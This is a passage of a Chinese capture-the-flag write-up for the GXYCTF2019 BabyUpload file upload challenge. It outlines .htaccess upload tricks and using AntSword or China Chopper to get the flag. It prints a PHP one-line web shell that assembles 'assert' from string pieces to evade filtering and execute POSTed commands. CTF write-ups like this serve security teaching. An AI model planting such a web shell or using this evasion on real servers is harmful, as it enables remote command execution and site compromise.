[GXYCTF2019]BabyUpload1 -- 题目分析与详解

目录

一、题目分析

1、判断题目类型：

2、上传不同类型的文件进行测试：

二、题目详解

1、写出.htaccess文件：

2、.htaccess 文件配合 .jpg 上传：

3、利用 中国蚁剑/中国菜刀 获取flag：

---

一、题目分析

1、判断题目类型：

打开靶机，进入靶场，页面如图所示：

判断题目类型为：文件上传漏洞类型。

2、上传不同类型的文件进行测试：

（1）首先上传一句话木马 test.php，代码如下：

<?php
	$a="a"."s";
	$b="s"."e"."rt";
	$c=$a.$b;
	$c($_POST['cmd']);
?>

代码中并没有写传统的一句话木马，因为直接写一句话木马需要关闭系统防火墙。

上传后页面如下图：

 

由此我们得知，文件后缀不可以有ph，那么php3,php5,phtml等后缀自然无法使用了。

（2）将文件后缀改为 jpg，上传后页面如下图：